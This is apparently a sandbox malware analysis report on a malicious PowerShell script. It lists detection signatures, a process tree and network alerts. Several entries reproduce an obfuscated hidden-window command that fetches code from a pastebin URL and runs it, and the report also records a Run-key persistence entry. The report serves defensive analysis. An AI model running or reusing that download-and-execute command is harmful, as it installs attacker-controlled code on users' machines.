Edit tour

Windows Analysis Report
cr_asm3.ps1

Overview

General Information

Sample name:	cr_asm3.ps1
Analysis ID:	1534234
MD5:	b1e2bf28f0bb077edc92a81173ccbbfa
SHA1:	425c6a7ae95888820b4411730475fa9b19cdb6f3
SHA256:	682551bed0e0e7aaba3274d84d5fc80a04b926ac1e4a78e5e312eb2ffd7a5012
Tags:	Neth3Nps1user-JAMESWT_MHT
Infos:

Detection

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

AI detected suspicious sample

Connects to a pastebin service (likely for C&C)

Contains functionality to inject threads in other processes

Powershell creates an autostart link

Powershell drops PE file

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Tries to open files direct via NTFS file id

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Compiles C# or VB.Net code

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file does not import any functions

Queries disk information (often used to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

powershell.exe (PID: 6648 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\cr_asm3.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

csc.exe (PID: 2120 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 2980 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESD0F0.tmp" "c:\Users\user\AppData\Local\Temp\dwdaoju2\CSC6D3B5E607DDC4941A0658A6CD27B5246.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

Stand_Trainer_Updated.exe (PID: 4504 cmdline: "C:\Users\user~1\AppData\Local\Temp\Stand_Trainer_Updated.exe" MD5: BECD67D75C5E7C2411E9F481086CA1E0)

attrib.exe (PID: 7588 cmdline: "C:\Windows\system32\attrib.exe" +s +h "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

svchost.exe (PID: 6524 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

forfiles.exe (PID: 7396 cmdline: "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'" MD5: 9BB67AEA5E26CB136F23F29CC48D6B9E)

conhost.exe (PID: 7412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7468 cmdline: -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7548 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)" MD5: 04029E121A0CFA5991749937DD22A1D9)

forfiles.exe (PID: 7764 cmdline: "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'" MD5: 9BB67AEA5E26CB136F23F29CC48D6B9E)

conhost.exe (PID: 7772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7832 cmdline: -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7912 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)" MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 6648	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x78507:$b1: ::WriteAllBytes( 0xdc8ba:$s1: -join 0xdc8f5:$s1: -join 0xdc9bc:$s1: -join 0xdc9ea:$s1: -join 0xdcba6:$s1: -join 0xdcbc9:$s1: -join 0xdce7d:$s1: -join 0xdce9e:$s1: -join 0xdced0:$s1: -join 0xdcf18:$s1: -join 0xdcf45:$s1: -join 0xdcf6c:$s1: -join 0xdcf9d:$s1: -join 0xdcfbf:$s1: -join 0xdd08c:$s1: -join 0xdd520:$s1: -join 0xdd542:$s1: -join 0xdd59a:$s1: -join 0xdd5c4:$s1: -join 0xdd5f8:$s1: -join
Process Memory Space: powershell.exe PID: 7548	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x9f5f4:$b1: ::WriteAllBytes( 0xe5652:$b1: ::WriteAllBytes( 0x8215e:$s1: -join 0x828bf:$s1: -join 0x11e1c4:$s1: -join 0x16bc06:$s1: -join 0xdeb9:$s3: reverse 0x127f3:$s3: reverse 0x1c615:$s3: reverse 0x27fc6:$s3: reverse 0x57278:$s3: reverse 0x5deac:$s3: reverse 0x5ff99:$s3: reverse 0x6afc8:$s3: reverse 0xbd545:$s3: reverse 0xbd833:$s3: reverse 0xbdf4d:$s3: reverse 0xbe706:$s3: reverse 0xc5954:$s3: reverse 0xc5d6e:$s3: reverse 0xc68f6:$s3: reverse
Process Memory Space: powershell.exe PID: 7912	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x2bc1e:$b1: ::WriteAllBytes( 0x88b08:$b1: ::WriteAllBytes( 0x34b73:$s1: -join 0x551ea:$s1: -join 0x192066:$s1: -join 0x1927c6:$s1: -join 0xa34ed:$s3: reverse 0xad523:$s3: reverse 0xe0ac5:$s3: reverse 0xec1fe:$s3: reverse 0x10d32b:$s3: reverse 0x113fad:$s3: reverse 0x115e40:$s3: reverse 0x120e6f:$s3: reverse 0x13eb44:$s3: reverse 0x13ee32:$s3: reverse 0x13f54c:$s3: reverse 0x13fd05:$s3: reverse 0x146c43:$s3: reverse 0x14705d:$s3: reverse 0x147be5:$s3: reverse

Other

Source	Rule	Description	Author	Strings
amsi64_7548.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x9a92:$b1: ::WriteAllBytes( 0x8197:$s1: -join 0x1943:$s4: += 0x1a05:$s4: += 0x5c2c:$s4: += 0x7d49:$s4: += 0x8033:$s4: += 0x8179:$s4: += 0xc1bc:$s4: += 0xc23c:$s4: += 0xc302:$s4: += 0xc382:$s4: += 0xc558:$s4: += 0xc5dc:$s4: += 0x9b2c:$e4: Get-WmiObject 0x9bce:$e4: Get-WmiObject 0xa6a5:$e4: Get-WmiObject 0xa894:$e4: Get-Process 0xa8ec:$e4: Start-Process
amsi64_7912.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x9a92:$b1: ::WriteAllBytes( 0x8197:$s1: -join 0x1943:$s4: += 0x1a05:$s4: += 0x5c2c:$s4: += 0x7d49:$s4: += 0x8033:$s4: += 0x8179:$s4: += 0xc1bc:$s4: += 0xc23c:$s4: += 0xc302:$s4: += 0xc382:$s4: += 0xc558:$s4: += 0xc5dc:$s4: += 0x9b2c:$e4: Get-WmiObject 0x9bce:$e4: Get-WmiObject 0xa6a5:$e4: Get-WmiObject 0xa894:$e4: Get-Process 0xa8ec:$e4: Start-Process

Sigma Signatures

System Summary

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)', CommandLine: -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)', CommandLine|base64offset|contains: &, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'", ParentImage: C:\Windows\System32\forfiles.exe, ParentProcessId: 7396, ParentProcessName: forfiles.exe, ProcessCommandLine: -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)', ProcessId: 7468, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\cr_asm3.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\cr_asm3.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\cr_asm3.ps1", ProcessId: 6648, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk", EventID: 13, EventType: SetValue, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6648, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDrive File Sync

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\cr_asm3.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6648, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.cmdline", ProcessId: 2120, ProcessName: csc.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESD0F0.tmp" "c:\Users\user\AppData\Local\Temp\dwdaoju2\CSC6D3B5E607DDC4941A0658A6CD27B5246.TMP", CommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESD0F0.tmp" "c:\Users\user\AppData\Local\Temp\dwdaoju2\CSC6D3B5E607DDC4941A0658A6CD27B5246.TMP", CommandLine|base64offset|contains: 8c, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe, ParentCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.cmdline", ParentImage: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentProcessId: 2120, ParentProcessName: csc.exe, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESD0F0.tmp" "c:\Users\user\AppData\Local\Temp\dwdaoju2\CSC6D3B5E607DDC4941A0658A6CD27B5246.TMP", ProcessId: 2980, ProcessName: cvtres.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6648, TargetFilename: C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\cr_asm3.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\cr_asm3.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\cr_asm3.ps1", ProcessId: 6648, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6524, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\cr_asm3.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6648, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.cmdline", ProcessId: 2120, ProcessName: csc.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-15T18:08:12.766333+0200	2803274	2	Potentially Bad Traffic	192.168.2.7	49703	185.199.109.133	443	TCP

ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-15T18:08:42.150593+0200	2857659	1	A Network Trojan was detected	192.168.2.7	49852	162.159.138.232	443	TCP
2024-10-15T18:08:49.372385+0200	2857659	1	A Network Trojan was detected	192.168.2.7	49889	162.159.138.232	443	TCP

ETPRO MALWARE Win32/Fake Robux Bot Registration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-15T18:08:27.991660+0200	2857658	1	A Network Trojan was detected	192.168.2.7	49775	162.159.138.232	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.7:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.7:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.7:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.7:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.7:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.7:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.7:49889 version: TLS 1.2

Source:	Binary string: \??\C:\Windows\mscorlib.pdbl] source: powershell.exe, 0000000C.00000002.1746802564.000002927D9E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdb source: powershell.exe, 0000000C.00000002.1746099211.000002927D9A4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdbll\YC source: powershell.exe, 00000001.00000002.1549184232.0000026CA95F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.PowerShell.Commands.Utility.pdb4e089 source: powershell.exe, 00000011.00000002.1846512866.00000240989A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdbll source: powershell.exe, 00000011.00000002.1844743189.000002409836A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb@ source: powershell.exe, 00000001.00000002.1509139350.0000026C8F3BB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbAf9(@ source: powershell.exe, 00000011.00000002.1846512866.000002409890E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: powershell.exe, 00000001.00000002.1509846043.0000026C91352000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ;C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.pdbhP source: powershell.exe, 00000001.00000002.1510210225.0000026C92C00000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: n.pdb$ source: powershell.exe, 0000000C.00000002.1747621659.000002927DA16000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 0000000C.00000002.1747621659.000002927DA16000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1849255470.00000240989C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.PowerShell.Commands.Utility.pdb] source: powershell.exe, 00000001.00000002.1549184232.0000026CA964F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000011.00000002.1849255470.00000240989C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 0000000C.00000002.1747621659.000002927DA16000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1849255470.00000240989C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ement.Automation.pdb source: powershell.exe, 00000011.00000002.1846512866.000002409890E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbw source: powershell.exe, 00000011.00000002.1849255470.00000240989C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ;C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.pdb source: powershell.exe, 00000001.00000002.1510210225.0000026C92C00000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000001.00000002.1549184232.0000026CA95E5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1849255470.00000240989C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000001.00000002.1549184232.0000026CA964F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1746099211.000002927D9D7000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1849255470.00000240989C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 0000000C.00000002.1745296458.000002927D952000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1846512866.00000240989A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdbk source: powershell.exe, 0000000C.00000002.1747689260.000002927DA1B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbG source: powershell.exe, 00000011.00000002.1849255470.00000240989C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdb: source: powershell.exe, 00000001.00000002.1549184232.0000026CA96D7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbl source: powershell.exe, 0000000C.00000002.1747689260.000002927DA1B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ement.Automation.pdb? source: powershell.exe, 0000000C.00000002.1747689260.000002927DA1B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdbY source: powershell.exe, 00000011.00000002.1849255470.00000240989C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdbs source: powershell.exe, 00000001.00000002.1549184232.0000026CA96D7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbpw source: powershell.exe, 00000001.00000002.1549184232.0000026CA95F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbpdbc source: powershell.exe, 00000001.00000002.1549184232.0000026CA95E5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\dll\mscorlib.pdb source: powershell.exe, 00000001.00000002.1509846043.0000026C91352000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdb9 source: powershell.exe, 00000011.00000002.1844743189.000002409836A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000001.00000002.1509846043.0000026C91352000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1745296458.000002927D952000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1844743189.000002409836E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1846512866.00000240989A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000011.00000002.1846512866.000002409890E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000001.00000002.1509139350.0000026C8F3BB000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1846512866.00000240989A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \mscorlib.pdbpdblib.pdbA* source: powershell.exe, 00000001.00000002.1509846043.0000026C91352000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbpdb source: powershell.exe, 0000000C.00000002.1745296458.000002927D966000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automationib.pdb source: powershell.exe, 0000000C.00000002.1747689260.000002927DA1B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdbp; source: powershell.exe, 00000001.00000002.1509139350.0000026C8F3BB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdbc source: powershell.exe, 0000000C.00000002.1747621659.000002927DA16000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 0000000C.00000002.1747689260.000002927DA1B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 0000000C.00000002.1746099211.000002927D9A4000.00000004.00000020.00020000.00000000.sdmp
